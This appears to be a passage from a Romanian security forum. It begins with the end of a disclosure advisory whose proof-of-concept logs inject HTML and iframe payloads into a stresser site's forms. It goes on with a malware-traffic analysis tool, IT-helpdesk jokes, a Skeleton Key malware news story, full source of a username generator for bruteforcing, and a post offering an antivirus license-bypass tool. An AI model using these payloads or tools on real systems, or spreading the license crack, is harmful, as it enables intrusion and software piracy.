%2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] rpassword[http%3A%2F%2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] updatePassBtn[Change+Stored+Data%21] Response Header: Date[Tue, 20 Jan 2015 10:29:21 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba972a06dd15b3-FRA] Content-Encoding[gzip] - Status: 302[Moved Temporarily] POST https://lizardstresser.su/register.php Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://lizardstresser.su/register.php] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: username[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E2] password[chaos666] rpassword[chaos666] email[research%40vulnerbaility-lab.com] ref[%2F] checkbox1[1] register[Register] Response Header: Server[cloudflare-nginx] Date[Tue, 20 Jan 2015 11:20:02 GMT] Content-Type[text/html] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[/purchase] CF-RAY[1abae168238f15b3-FRA] X-Firefox-Spdy[3.1] Reference(s): http://lizardstresser.su/?r=imgsrcx2020iframesrca20iframe https://lizardstresser.su/register.php 1.2 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/ajax/addticket.php Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://lizardstresser.su/tickets] Content-Length[324] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: title2[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] code[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] content[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] hash[JMX02SbuIwklRiGPAVDgeOC5nTs41xFp] Response Header: Date[Tue, 20 Jan 2015 10:30:54 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba996d3d7115b3-FRA] Content-Encoding[gzip] Reference(s): http://lizardstresser.su/ajax/addticket.php Credits & Authors: ================== Vulnerability Laboratory [Research Team] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source
  19. CapTipper: Omri Herscovici: CapTipper - Malicious HTTP traffic explorer tool CapTipper is a python tool to analyze, explore and revive HTTP malicious traffic. CapTipper sets up a web server that acts exactly as the server in the PCAP file, and contains internal tools, with a powerful interactive console, for analysis and inspection of the hosts, objects and conversations found. The tool provides the security researcher with easy access to the files and the understanding of the network flow, and is useful when trying to research exploits, pre-conditions, versions, obfuscations, plugins and shellcodes. Feeding CapTipper with a drive-by traffic capture (e.g of an exploit kit) displays the user with the requests URI's that were sent and responses meta-data. The user can at this point browse to Romanian Security Team - Homepage[uRI] and receive the response back to the browser. In addition, an interactive shell is launched for deeper investigation using various commands such as: hosts, hexdump, info, ungzip, body, client, dump and more... Download: https://github.com/omriher/CapTipper
  20. Colega noastr? Iulia, pe care o pute?i admira în comentariile de pe site, d? cu sapa undeva printr-o ?ar? vestic?, ca suport IT într-o mare companie. ?i mi-a trimis câteva dintre discu?iile pe care le are cu cei de care se ocup?. Am primit un ticket in care scria “Ajutor! Am sters internetul! “. Daduse delete la iconita “Internet Explorer” de pe Desktop. I-am trimis unei secretare o prezentare powerpoint de vreo 10 ori, iar ea o rataceste de fiecare data. Satula de chestia asta , ultima data i-am dat mail si i-am spus “ e ultima copie pe care o am, sa nu o mai pierdeti!!!”. Am primit mail inapoi in 30 de secunde “ Scuze, o imprumut pentru 10 minute apoi v-o dau inapoi, tot pe mail!” Am cerut intr-o zi un printscreen de la un user. Am primit un atasament pe mail din care reiesea ca userul a facut o poza ecranului, cu telefonul, a descarcat-o pe pc, a printat-o , apoi a scanat-o si mi-a trimis-o. Cand ai un user care sustine ca el stie mai bine decat tine ce trebuie reparat la PC-ul lui, ii spui ca PC-ul afiseaza ID-ten-T (ID10T) Error. Userii extreme de enervanti mai sunt numiti si P.I.C.N.I.C s ( Problem In Chair Not In Computer). Intr-o iarna , un user a deschis ticket sa oprim ninsoarea. Asta era prin Ianuarie. Am inchis ticketul in Martie, cand era sigur ca problema nu se va repeta. User: Am nevoie de un mousepad. Eu: Mousepad-ul tine de birotica, se comanda de catre secretare, nu de catre departamentul IT. User ( dupa ce s-a intors de la secretara) : Secretara spune sa imi comandati Dvs., ca ea nu stie ce mousepad e compatibil cu windows-ul de pe pc-ul meu. Hello, I’m sorry for the trouble but it seems like I’ve violated myself (referring to her being locked out of the account), could you please help me? Userul suna la helpdesk sa spuna ca nu poate sa isi porneasca laptop-ul. Dupa un troubleshooting atent, tehnicianul de la helpdesk trimite ticketul la echipa locala. Tehnicianul de la local inchide ticketul cu mentiunea “Userul si-a lasat laptop-ul acasa si apasa pe butonul de la docking station. Informat user ca are nevoie de laptop ca sa poata lucra. “ Un user cere in fiecare saptamana cate un card de memorie pentru aparatul foto pus la dispozitie de companie. Dupa al treilea card, il intreb cum reuseste sa le strice, sau daca le pierde. Imi spune ca nu, sunt toate functionale, doar ca se umplu repede si el trebuie sa faca multe poze. S-a uitat la mine ca la extraterestri cand i-am zis ca le poate sterge si refolosi. Noua regula in companie : fara medii de stocare de acasa ( USB , HDD, CD ) etc. deoarece unele PC-uri erau infectate in mod repetat cu virusi. Peste o saptamana, antivirusul de pe un PC urla din toti plamanii ca a gasit ceva. Il intreb pe user daca a adus ceva “de acasa”, recunoaste ca a adus un USB stick. “dar domnisoara, l-am lasat pe birou 2 saptamani inainte sa il folosesc, n-am stiut ca virusii traiesc atata”. Trimit un mail catre toti userii sa imi transmita numarul de inventar al computer-ului ,care se afla pe un sticker pe partea din fata a PC-ului si imediat sub tastatura la Notebook-uri. 3 useri deschid ticket ca au scos tastatura de la laptop si 1. Nu e nici un numar sub ea si 2. Nu o mai pot pune la loc. User: Buna , am cumparat o multifunctionala HP si am o intrebare in legatura cu functia “scan” Tehnician: Spuneti, ce problema. User: Pai…nu stiu cum sa va explic, e ceva mai delicat. Tehnician : Nu e nici o problema, avem solutie pentru aproape toate problemele care pot intervene. User: Vedeti, eu am cumparat un caras auriu (goldfish) . Si s-a facut extrem de mare. Foarte mare! Enorm! ( chicoteste ca un scolar) Tenician: !?!? Inteleg…si…unde e problema? User: Si am un prieten care nu vrea sa ma creada . A spus sa ii trimit o poza. Dar aparatul meu foto e stricat. Tenician: ?!?!?! Si cu ce am putea sa va ajutam? Din pacate nu cred ca va putem repara aparatul foto prin telefon… User: Nu ! Nuuuu…am gasit o solutie . As vrea sa scanez pestele si sa ii trimit scan-ul prietenului meu pe e-mail. Tehnician : (pune telefonul pe mute, face semn catre colegii lui gen “you gotta hear this!” , apoi isi calmeaza chicotitul si scoate userul de pe mute) : Si , totusi, cu ce va putem ajuta? User: Pai sa vedeti: daca nu inchid capacul de la scanner, intra lumina si nu se vede mai nimic. Daca vreau sa inchid capacul, mi-e teama ca voi strivi pestele, si nu vreau. ( déjà tot floor-ul rade cu lacrimi, telefonul e pe mute) Tehnicianul (calm si super-profesionist): Domnule, aveti acasa o cutie de margarina ? User: da… Tehnicianul: E mai mare decat pestele Dvs.? User: ( dupa o pauza de vreo 2 minute) : Da! E mai mare! Tehnician: „Perfect, puneti cutia de margarina peste peste, si apasati butonul de scan. Imaginea va fi mai mica, dar clara. User: Da! Functioneaza! Va multumesc mult. Noi comandam piesele de la Dell. La un moment dat, am nevoie de un cablu pentru proiector. Mufa rotunda. Ei imi trimit un cablu cu mufa dreptunghiulara. Eu: Imi pare rau, mi-ati trimis cablul gresit. Tehnicianul lor: Nu e adevarat, trebuie doar sa apasati putin mai puternic. Eu: Domnule, eu am nevoie de o mufa rotunda si Dvs. Ati trimis una dreptunghiulara. El: Imposibil, si seful meu spune ca am trimis cablul corect. Apasati cu putere, va rog. Eu: ( Dupa ce fac poza la mufa si la slot , care evident sunt complet diferite). Vedeti??? Imi e imposibil sa introduce mufa asta in slot-ul respective. Tehnicianul lor: Buna ziua, seful meu spune sa folosit FORTA. Stati linistita, piesele au garantie, daca se strica ceva , le inlocuim. Eu : Adica vreti sa stric cu buna stiinta un proiector de 900 de Euro ca sa nu imi trimiteti voi alt cablu de 2 Euro? El: Seful meu zice ca da. Pam Pam. User: Orice deschid cu laptopul meu se face verde! Eu(dupa ce fug la fata locului sa vad cum se manifesta problema): Da, vad ca proiectati pe un perete care e vopsit in verde. User ( iritat la maxim) : Stiu, nu sunt idiot, vad si eu. Fa-l sa proiecteze alb! Un user se plange ca Pc-ul ei se stinge si se reaprinde . La fata locului nu constat nimic in neregula, asa ca o rog frumos sa se aseze la PC si sa faca ceea ce face de obicei. Dupa 5 minute, computerul se stinge si se reaprinde de 3 ori. Cand ma uit la picioarele ei, vad ce se intampla: batea ritmul melodiei de la radio cu piciorul pe intrerupatorul de la prelungitor. Am mutat prelungitorul departe de labutele ei, issue solved. User ma suna ca jumatatea de jos a documentelor pe care le printeaza ies manjite sau chiar deloc. Dupa inlocuirea imprimantei plus a tuturor pieselor de pe noua imprimanta, cineva se duce sa verifice exact cum printeaza doamna. Dupa ce da click pe “imprima”, iar hartia incepe sa se iveasca din imprimanta, tanti fuge la printer, smulge hartia cu forta si spune “veeezi? Veeezi cum arata jumatatea de jos????” Primesc un ticket “Printer defect” fara alte informatii. Sun inapoi si cer mai multe detalii, ca sa stiu cu ce piese ma prezint la user. Primesc un raspuns scurt “cred ca ar fi cel mai bines a veniti sa vedeti, nu va pot explica”. Presupun ca userul nu sties a descrie problema in mod ethnic asa ca ma duc sa vad despre ce e vorba. Cand ajung in hala, constat ca problema era oarecum greu de identificat , avand in vedere ca printerul era imprastiai in toata hala, in bucati mai mari sau mai mici. Cineva il agatase cu un transpalet si l-a tarat cateva zeci de metri, peste sine si alte obstacole, pana sa realizeze ce se intample si sa incerce sa dea cu spatele. Sursa : Arhi - Perle din suportul IT PS: Si eu lucrez pe support si stiu cum e.... funny lectura anyway. Voi ce a-ti mai patit?
  21. Enterprise Active Directory administrators need to be on the lookout for anomalous privileged user activity after the discovery of malware capable of bypassing single-factor authentication on AD that was used as part of a larger cyberespionage campaign against a global company based in London. Hackers already on the company’s network via a remote access Trojan (RAT) deployed what’s being called the Skeleton Key malware used to steal legitimate insider credentials in order to steal company data and exfiltrate it to the outside without raising many red flags. Researchers at Dell SecureWorks would not identify the organization, nor provide any indication on the identity or location of the attackers, other than to say that it was not an “ecrime” operation and some of the documents taken would be of interest to entities on the “Pacific rim.” Skeleton Key purposely lacks persistence, said Dell SecureWorks director of technology Don Smith. It is installed as an in-memory patch on an Active Directory domain controller and will not survive a reboot. Granted, Active Directory domain controllers such as the ones compromised in this attack, are not rebooted all that often. “I don’t think it was a mistake [by the attackers]. The people concerned have the capability of making it persistent,” Smith said. “The lack of persistence characterizes the stealthy nature of this operation. If you make it persistent over a reboot, you have to leave something behind in the registry or elsewhere that will make it restart. This is super stealthy and this minimizes their footprint. They rely on their foothold elsewhere in the network, and jump in every time they need to.” With access to Active Directory, the hackers can secure username-password combinations and use those credentials to remotely carry out the rest of their attack authenticated as legitimate users. In the case of the London firm, they were discovered on the network which used password-only authentication for its webmail and VPN remote access. Once inside, they were able to use credentials stolen from critical servers, admin workstations and domain controllers to drop Skeleton Key anywhere else on the network. Dell SecureWorks posted a number of indicators of compromise and YARA detection signatures in a report published this week. A number of file names were also found associated with Skeleton Key, including one suggesting an older variant of the malware exists, one that was compiled in 2012. Dell SecureWorks also said the attackers, once on the network, upload the malware’s DLL file to an already compromised machine and attempt to access admin shares on the domain controllers using a list of stolen admin credentials. If the credentials don’t work, they deploy password-stealing tools to extract admin passwords from memory of another server, the domain admin’s workstation or the targeted domain controllers, Dell SecureWorks said. With access to the controller, Skeleton Key’s DLL is loaded and the attackers use the PsExec utility to remotely inject the Skeleton Key patch and run the malware’s DLL remotely on the target domain controllers. The attackers then use a NTLM password hash to authenticate as any user. The lack of persistence isn’t the only perceived weakness associated with Skeleton Key. Its deployment caused AD domain controller replication issues in regional offices that required a reboot. The frequent reboots were an indication that the attackers were re-implanting Skeleton Key, Smith said, which along with the presence of PsExec or TaskScheduler are other anomalous privileged user activities to be on the lookout for. “This was from about just collecting passwords. Once they injected the hash, they could then walk up to any machine in the network, give any user name and their password and get in,” Smith said. “The bad guys used remote access to authenticate at will. I think that characterizes this attack as a long-running cyberespionage operation. There is a lot of information in the victim organization they’re looking for, and they want to maintain as low a profile as possible to evade discovery. All the espionage activity is carried out as an ordinary user. The challenge as a defender is the need to look for anomalous user behavior, which isn’t all that simple a task.” Source
  22. usernamer is a penetration testing tool to generate a list of possible usernames/logins for determined name (ex: John Doe Doeson) for user enumeration or bruteforcing. This tool also supports text-files with one name per line as input. Features usernamer has a plugin structure that enables a series of transformations: normal: Permutates given name with all surnames (if more than one) with name starting and ending (johndoedoeson,johndoesondoe,doedoesonjohn etc) two_terms: Permutates given name with all surnames (if more than one) with name starting and ending but it will output a two-termed login (johndoe, doejohn, johndoeson etc) one_term: Permutates all name tokens (first name and surnames) and generates single terms usernames (john, doe, doeson) dotted_two_terms: Permutates given name with all surnames (if more than one) with name starting and ending but it will output a two-termed login dot-separated (john.doe, doe.john, john.doeson etc) normal_abbreviated: Generates abbreviated versions of the ‘normal’ and ‘two_terms’ plugins (jdoe, johnd, jd etc) Usage: usage: usernamer.py [ -f <file> ] [ -n <full name> ] [ -l ] flags: -n supplies a single name -f supplies name entries from text file -l converts result to lowercase -p manually specify plugins (comma-separated) [default: all] ['normal', 'two_terms', 'one_term', 'normal_abbreviated', 'dotted_two_terms'] usernamer.py #!/usr/bin/env python""" $Id: $ Copyright © 2012-2013 Jan Seidl <jseidl@wroot.org> (http://wroot.org/) LICENSE: This software is distributed under the GNU General Public License version 3 (GPLv3) LEGAL NOTICE: THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. """ import getopt, sys import string #### # Program info #### USERNAMER_VERSION="1.0-rc1" BUILD_DATE="2012-03-15" AVAILABLE_PLUGINS=[ 'normal', 'two_terms', 'one_term', 'normal_abbreviated', 'dotted_two_terms' ] AVAILABLE_FILTERS=[ 'sort', 'unique' ] #### # Program Functions #### def parse_file(filePath, plugins = [], filters = []): try: with open(filePath, 'r') as fileObject: for line in fileObject: parse_name(line, plugins, filters) except IOError: e = "Could not open the file: " + filePath error(e) def parse_name(name, plugins = [], filters = []): name = name.strip() # Trim whitespaces nameTokens = name.split(' ') # Tokenize name and each surname numTokens = len(nameTokens) if numTokens < 2: error('Name and at least one Surname must be supplied') # Split First Name and Surnames firstName = nameTokens[0] nameTokens.pop(0) surnames = nameTokens results = [] # Run Plugins run_plugins(firstName, surnames, results, plugins) # Run Filters run_filters(results, filters) for result in results: print result def run_plugins(firstName, surnames, resultList, plugins = []): defaultPlugins = AVAILABLE_PLUGINS if len(plugins) == 0: plugins = defaultPlugins for pluginName in plugins: internalPluginName = "plugin_"+pluginName # Validate if plugin exists if not internalPluginName in globals(): error("Invalid plugin: "+pluginName) pluginObject = globals()[internalPluginName] pluginObject(firstName, surnames, resultList) def run_filters(resultList, filters = []): defaultFilters = AVAILABLE_FILTERS if len(filters) == 0: filters = defaultFilters for filterName in filters: internalFilterName = "filter_"+filterName # Validate if filter exists if not internalFilterName in globals(): error("Invalid plugin: "+filterName) filterObject = globals()[internalFilterName] filterObject(resultList) #### # Result Filters #### # Unique Filter # # Removes duplicated entries def filter_unique(resultList): uniqueResults = set(resultList) del resultList[:] for result in uniqueResults: resultList.append(result) # Sort Filter # # Filter entries alphabetically def filter_sort(resultList): resultList.sort() # Lowercase Filter # # Transforms entries to lowercase def filter_lowercase(resultList): for key, result in enumerate(resultList): resultList[key] = result.lower() #### # Parsing Plugins #### # Normal Plugin # # Generates usernames based on concatenation # of first name with surnames in permutation # # Ex: JohnPaulJones, JohnJonesPaul def plugin_normal(firstName, surnames, resultList): surnamePermutations = permutate_all(surnames) for permutations in surnamePermutations: resultList.append(firstName+string.join(permutations, '')) resultList.append(string.join(permutations, '')+firstName) # Two Terms Plugin # # Generates usernames based on concatenation # of first name with surnames in permutation # # Ex: JohnPaul, JohnJones, PaulJones def plugin_two_terms(firstName, surnames, resultList): # Try each surname with # first name and reversed for surname in surnames: resultList.append(firstName+surname) resultList.append(surname+firstName) # If more than one surname, # combine'em too if len(surnames) > 1: tokens = list(surnames) for surname in surnames: firstToken = tokens.pop(0) for token in tokens: resultList.append(firstToken+token) # One Term Plugin # # Generates usernames based on permutation # of first name and surnames generating one-word # usernames # # Ex: John, Paul, Jones def plugin_one_term(firstName, surnames, resultList): tokens = [ firstName ] tokens += surnames for name in tokens: resultList.append(name) # Dotted Two Terms Plugin # # Generates usernames based on concatenation # of first name with surnames in permutation # with a dot in the middle # # Ex: John.Paul, John.Jones, Paul.Jones def plugin_dotted_two_terms(firstName, surnames, resultList): # Try each surname with # first name and reversed for surname in surnames: resultList.append(firstName+'.'+surname) resultList.append(surname+'.'+firstName) # Normal Abbreviated Plugin # # Generates usernames based on concatenation # of first name with surnames in permutation # in abbreviated forms # # Ex: JohnPJones, JohnPaulJ, JohnJonesP JohnJPaul def plugin_normal_abbreviated(firstName, surnames, resultList): permutatedSurnames = permutate_all(surnames) firstNameArr = [ firstName ] # All Terms for entry in permutatedSurnames: nameFirst = list(firstNameArr+entry) nameLast = list(entry+firstNameArr) for name in abbreviate(nameFirst): resultList.append(name) for name in abbreviate(nameLast): resultList.append(name) # Two Words for surname in surnames: for name in abbreviate([ firstName, surname ]): resultList.append(name) for name in abbreviate([ surname, firstName]): resultList.append(name) #### # Util functions #### def permutate_all(tokens): if len(tokens) <=1: yield tokens else: for perm in permutate_all(tokens[1:]): for i in range(len(perm)+1): yield perm[:i] + tokens[0:1] + perm[i:] def abbreviate(tokens): resultList = [] tokenCount = len(tokens) # One abbreviated word for i in range(tokenCount): output = '' position = 0 for j in tokens: if i == position: output += j[0] else: output += j position += 1; resultList.append(output) # Two abbreviated words for i in range(tokenCount): output = '' position = 0 for j in tokens: if i == position or i == position+1: output += j[0] else: output += j position += 1; resultList.append(output) # All-but-one abbreviated words if tokenCount > 3: for i in range(tokenCount): output = '' position = 0 for j in tokens: if i == position: output += j else: output += j[0] position += 1; resultList.append(output) return resultList #### # Main #### def main(): try: opts, args = getopt.getopt(sys.argv[1:], "hlp:f:n:", ["help", "lowercase", "plugins", "file=,"name=]) inputFile = None inputName = None defaultPlugins = AVAILABLE_PLUGINS defaultFilters = AVAILABLE_FILTERS for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-f", "--file"): inputFile = a elif o in ("-p", "--plugins"): pluginList = str(a).split(',') validPlugins = [] for plugin in pluginList: try: pluginIndex = AVAILABLE_PLUGINS.index(plugin) # check plugin existance validPlugins.append(plugin) except ValueError: error('Invalid plugin: "'+plugin+'"') defaultPlugins = validPlugins elif o in ("-n", "--name"): inputName = a elif o in ("-l", "--lowercase"): defaultFilters.append('lowercase') else: error("option '"+o+"' doesn't exists") if inputFile == None and inputName == None: error('Please specify an input file or name') if inputFile != None and inputName != None: error('Please specify only an input file or name, not both') # If name was supplied, # process single entry and exit if inputName: parse_name(inputName, plugins = defaultPlugins, filters = defaultFilters) sys.exit(0) # If file was supplied, # process each line if inputFile: parse_file(inputFile, plugins = defaultPlugins, filters = defaultFilters) sys.exit(0) except getopt.GetoptError, err: # print help information and exit: sys.stderr.write(str(err)) usage() sys.exit(2) def usage(): print print "usage: " + sys.argv[0] + " [ -f <file> ] [ -n <full name> ] [ -l ]"; print print "flags:" print "\t-n\tsupplies a single name" print "\t-f\tsupplies name entries from text file" print "\t-l\tconverts result to lowercase" print "\t-p\tmanually specify plugins (comma-separated) [default: all]" print "\t\t"+str(AVAILABLE_PLUGINS) print "" def error(errorMsg, fatal=True, showUsage=True): sys.stderr.write(errorMsg+"\n") if showUsage: usage() if fatal: sys.exit(2) if __name__ == "__main__": main() Download Download the latest version of usernamer directly from the github project page. Source
  23. NOD32 v4 +autoupdate user&pass. Download Link: MEGAUPLOAD.COM Installation guide: 1.- Install "ESET NOD32 Antivirus 4.0.314.0 32 bits" 2.- Install "TNod-1.4.0.15-setup" (acesta adaug? automat user ?i pass la nod) 3.- Prima data trebuie sa actualizezi db manual, dup? aceea se actualizeaz? singur. *original post*
×
×
  • Create New...